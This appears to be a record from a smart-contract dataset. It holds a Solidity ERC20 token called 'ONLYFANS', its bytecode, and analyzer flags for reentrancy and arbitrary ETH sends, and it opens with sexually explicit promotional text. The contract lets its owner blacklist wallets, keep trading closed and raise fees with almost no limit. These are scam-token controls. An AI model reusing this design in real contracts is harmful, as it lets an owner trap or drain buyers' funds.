081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202989f23610d2244c5e569eb507479813ea91bd24ed46d1fbd3e9b97a3752314e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,881
0xbdda6c7dbd6514665f987edb1d0e6c2bdf4f7cc0
// SPDX-License-Identifier: Unlicensed /* Enjoy quality live pornography? Well OnlyFans DAO is about to make it even better! As a loving fan of the content subscription service, our founder believes in sharing the joy and create a jubilant world with our fellow appreciators of the erotic art. OnlyFans DAO is built with this vision in mind, with every dollar you invest in our token , we shall invest the transaction tax in subscribing content from your beloved content creator of your choice, through the voting system of the DAO, we shall decide which content creator to subscribe in! Ready for more action of stocking ripping and pussy thrusting? Join Us now! */ //Telegram: OnlyFansDAO //Website: onlyfans-dao.com pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ONLYFANS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ONLYFANS"; string private constant _symbol = "OF"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 4; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 4; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5e10 * 10**9; uint256 public _maxWalletSize = 1e11 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5e10 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104ce57600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b39565b610619565b005b34801561021557600080fd5b506040805180820190915260088152674f4e4c5946414e5360c01b60208201525b6040516102439190611bfe565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c53565b6106b8565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5069021e19e0c9bab24000005b604051908152602001610243565b3480156102e757600080fd5b5061026c6102f6366004611c7f565b6106cf565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610243565b34801561033957600080fd5b5060145461029c906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611cc0565b610738565b34801561037957600080fd5b50610207610388366004611ced565b610783565b34801561039957600080fd5b506102076107cb565b3480156103ae57600080fd5b506102cd6103bd366004611cc0565b6107f8565b3480156103ce57600080fd5b5061020761081a565b3480156103e357600080fd5b506102076103f2366004611d08565b61088e565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611cc0565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029c565b34801561047957600080fd5b50610207610488366004611ced565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600281526127a360f11b6020820152610236565b3480156104da57600080fd5b506102076104e9366004611d08565b610ae9565b3480156104fa57600080fd5b50610207610509366004611d21565b610b18565b34801561051a57600080fd5b5061026c610529366004611c53565b610b72565b34801561053a57600080fd5b5061026c610549366004611cc0565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610207610b7f565b34801561057f57600080fd5b5061020761058e366004611d53565b610bb5565b34801561059f57600080fd5b506102cd6105ae366004611dd7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102076105f4366004611d08565b610c56565b34801561060557600080fd5b50610207610614366004611cc0565b610c85565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611e10565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611e45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611e71565b91505061064f565b5050565b60006106c5338484610d6f565b5060015b92915050565b60006106dc848484610e93565b61072e843361072985604051806060016040528060288152602001611f89602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cf565b610d6f565b5060019392505050565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161064390611e10565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161064390611e10565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107eb57600080fd5b476107f581611409565b50565b6001600160a01b0381166000908152600260205260408120546106c990611443565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064390611e10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161064390611e10565b6802b5e3af16b188000081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064390611e10565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611e8a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611e8a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611e8a565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064390611e10565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064390611e10565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064390611e10565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c5338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107f8565b90506107f5816114c7565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064390611e10565b60005b82811015610c50578160056000868685818110610c0157610c01611e45565b9050602002016020810190610c169190611cc0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611e71565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064390611e10565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064390611e10565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156112c857601454600160a01b900460ff16611080576000546001600160a01b038481169116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b6015548111156110d25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610643565b6001600160a01b03831660009081526010602052604090205460ff1615801561111457506001600160a01b03821660009081526010602052604090205460ff16155b61116c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610643565b6014546001600160a01b038381169116146111f1576016548161118e846107f8565b6111989190611ea7565b106111f15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610643565b60006111fc306107f8565b6017546015549192508210159082106112155760155491505b80801561122c5750601454600160a81b900460ff16155b801561124657506014546001600160a01b03868116911614155b801561125b5750601454600160b01b900460ff165b801561128057506001600160a01b03851660009081526005602052604090205460ff16155b80156112a557506001600160a01b03841660009081526005602052604090205460ff16155b156112c5576112b3826114c7565b4780156112c3576112c347611409565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130a57506001600160a01b03831660009081526005602052604090205460ff165b8061133c57506014546001600160a01b0385811691161480159061133c57506014546001600160a01b03848116911614155b15611349575060006113c3565b6014546001600160a01b03858116911614801561137457506013546001600160a01b03848116911614155b1561138657600854600c55600954600d555b6014546001600160a01b0384811691161480156113b157506013546001600160a01b03858116911614155b156113c357600a54600c55600b54600d555b610c5084848484611641565b600081848411156113f35760405162461bcd60e51b81526004016106439190611bfe565b5060006114008486611ebf565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b60006006548211156114aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610643565b60006114b461166f565b90506114c08382611692565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150f5761150f611e45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611e8a565b8160018151811061159f5761159f611e45565b6001600160a01b0392831660209182029290920101526013546115c59130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe908590600090869030904290600401611ed6565b600060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164e5761164e6116d4565b611659848484611702565b80610c5057610c50600e54600c55600f54600d55565b600080600061167c6117f9565b909250905061168b8282611692565b9250505090565b60006114c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183d565b600c541580156116e45750600d54155b156116eb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117148761186b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174690876118c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611775908661190a565b6001600160a01b03891660009081526002602052604090205561179781611969565b6117a184836119b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e691815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006118168282611692565b8210156118345750506006549269021e19e0c9bab240000092509050565b90939092509050565b6000818361185e5760405162461bcd60e51b81526004016106439190611bfe565b5060006114008486611f47565b60008060008060008060008060006118888a600c54600d546119d7565b925092509250600061189861166f565b905060008060006118ab8e878787611a2c565b919e509c509a509598509396509194505050505091939550919395565b60006114c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cf565b6000806119178385611ea7565b9050838110156114c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b600061197361166f565b905060006119818383611a7c565b3060009081526002602052604090205490915061199e908261190a565b30600090815260026020526040902055505050565b6006546119c090836118c8565b6006556007546119d0908261190a565b6007555050565b60008080806119f160646119eb8989611a7c565b90611692565b90506000611a0460646119eb8a89611a7c565b90506000611a1c82611a168b866118c8565b906118c8565b9992985090965090945050505050565b6000808080611a3b8886611a7c565b90506000611a498887611a7c565b90506000611a578888611a7c565b90506000611a6982611a1686866118c8565b939b939a50919850919650505050505050565b600082600003611a8e575060006106c9565b6000611a9a8385611f69565b905082611aa78583611f47565b146114c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611b3481611b14565b919050565b60006020808385031215611b4c57600080fd5b823567ffffffffffffffff80821115611b6457600080fd5b818501915085601f830112611b7857600080fd5b813581811115611b8a57611b8a611afe565b8060051b604051601f19603f83011681018181108582111715611baf57611baf611afe565b604052918252848201925083810185019188831115611bcd57600080fd5b938501935b82851015611bf257611be385611b29565b84529385019392850192611bd2565b98975050505050505050565b600060208083528351808285015260005b81811015611c2b57858101830151858201604001528201611c0f565b81811115611c3d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6657600080fd5b8235611c7181611b14565b946020939093013593505050565b600080600060608486031215611c9457600080fd5b8335611c9f81611b14565b92506020840135611caf81611b14565b929592945050506040919091013590565b600060208284031215611cd257600080fd5b81356114c081611b14565b80358015158114611b3457600080fd5b600060208284031215611cff57600080fd5b6114c082611cdd565b600060208284031215611d1a57600080fd5b5035919050565b60008060008060808587031215611d3757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6857600080fd5b833567ffffffffffffffff80821115611d8057600080fd5b818601915086601f830112611d9457600080fd5b813581811115611da357600080fd5b8760208260051b8501011115611db857600080fd5b602092830195509350611dce9186019050611cdd565b90509250925092565b60008060408385031215611dea57600080fd5b8235611df581611b14565b91506020830135611e0581611b14565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e8357611e83611e5b565b5060010190565b600060208284031215611e9c57600080fd5b81516114c081611b14565b60008219821115611eba57611eba611e5b565b500190565b600082821015611ed157611ed1611e5b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f265784516001600160a01b031683529383019391830191600101611f01565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8357611f83611e5b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cd56b6158edda229ff3d2b42d2f5b0c8e2dafa88238860cf4f7243560da43f4464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,882
0x8433ed02a32154aa0edbae12b1c8816205d6d02c
